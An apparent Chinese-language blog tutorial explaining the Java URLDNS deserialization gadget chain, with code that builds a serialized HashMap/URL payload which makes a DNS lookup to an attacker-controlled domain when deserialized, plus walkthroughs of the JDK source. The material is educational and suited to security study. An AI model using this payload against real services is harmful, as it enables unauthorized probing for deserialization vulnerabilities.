public class Main { public static void main(String[] args) throws MalformedURLException { // 调用URL类的hashCode方法发起DNS请求 URL url = new URL("http://ihqkfolumv.dgrh3.cn"); url.hashCode(); } }
其中,ihqkfolumv.dgrh3.cn 是我们自己生成的域名,用于被 Java 程序访问,这样在 DNS 服务器上就会留下一条访问记录。
运行后在 Yakit 这里会留下一条解析记录:
下面来查看源代码了解原理
Ctrl + 鼠标左键点击进入 URL 类的 hashcode 方法:
1 2 3 4 5 6 7
public synchronized int hashCode() { if (hashCode != -1) return hashCode;
重点来了:InetAddress.getByName 是一个强大而实用的方法,它允许我们根据主机名获取对应的 IP 地址,并在各种网络应用场景中发挥巨大的作用。
在这里就涉及到了 DNS 解析,那么这条利用链的功能也就是归于此处。再往下的源码就不看了,有兴趣可以自己看看。
反序列化利用
入口类 HashMap
选择该类作为入口类的原因很简单:
实现了 Serializable 接口,可以被反序列化
1
public class HashMap<K,V> extends AbstractMap<K,V> implements Map<K,V>, Cloneable, Serializable
重写了 readObject 方法
参数类型宽泛,只要是 Object 都可以
JDK 自带
……
构造 payload
先看结果,后面再讲原理
序列化类 serialization
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
public class serialization { public static void main(String[] args) throws Exception { HashMap hashMap = new HashMap(); URL url = new URL("http://jhdmbaithu.dgrh3.cn");
Class clazz = Class.forName("java.net.URL"); Field f = clazz.getDeclaredField("hashCode"); f.setAccessible(true);
这个类将 URL 类的对象作为参数传入 hashMap 中,并在 hashMap 用 put 方法将数据存储后利用反射修改了 url 的 hashCode 属性为 -1 。运行后,会将序列化数据输出到 out.bin 文件中,且也会进行一次 DNS 解析。
由于进行了 DNS 解析,本地存在了解析记录,那么第二次解析就不会去请求 DNS 服务器,所以要刷新一下本地的 DNS 缓存,防止之后执行反序列化看不到解析记录
Windows cmd 窗口输入以下命令刷新 DNS 解析缓存:
1
ipconfig/flushdns
反序列化类 unserialization
1 2 3 4 5 6
public class unserialization { public static void main(String[] args) throws Exception { ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin")); HashMap hashMap = (HashMap) ois.readObject(); } }
执行反序列化后会多出一条解析记录。
执行完序列化和反序列化之后,查看 Yakit ,会出现两次解析记录:
序列化时进行 DNS 解析的原理
来看序列化类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
public class serialization { public static void main(String[] args) throws Exception { HashMap hashMap = new HashMap(); URL url = new URL("http://jhdmbaithu.dgrh3.cn");
Class clazz = Class.forName("java.net.URL"); Field f = clazz.getDeclaredField("hashCode"); f.setAccessible(true);
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { // Read in the threshold (ignored), loadfactor, and any hidden stuff s.defaultReadObject(); reinitialize(); if (loadFactor <= 0 || Float.isNaN(loadFactor)) throw new InvalidObjectException("Illegal load factor: " + loadFactor); s.readInt(); // Read and ignore number of buckets int mappings = s.readInt(); // Read number of mappings (size) if (mappings < 0) throw new InvalidObjectException("Illegal mappings count: " + mappings); else if (mappings > 0) { // (if zero, use defaults) // Size the table using given load factor only if within // range of 0.25...4.0 float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f); float fc = (float)mappings / lf + 1.0f; int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ? DEFAULT_INITIAL_CAPACITY : (fc >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : tableSizeFor((int)fc)); float ft = (float)cap * lf; threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ? (int)ft : Integer.MAX_VALUE); @SuppressWarnings({"rawtypes","unchecked"}) Node<K,V>[] tab = (Node<K,V>[])new Node[cap]; table = tab;
// Read the keys and values, and put the mappings in the HashMap for (int i = 0; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false, false); } } }
很多很杂,但其实前面的都不重要,直接看末尾的 for 循环中的最后一条语句:
1
putVal(hash(key), key, value, false, false);
见过吧,其实跟序列化时的 put 方法中的内容是一样的,一样的调用了 hash 方法:
1 2 3 4
static final int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); }
一样的调用了 key 的 hashCode 方法,也即 URL 对象的 hashCode 方法,进行了 DNS 解析。所以如果前面不把 hashCode 改回 -1 的话,反序列化是不会进行 DNS 解析的哦~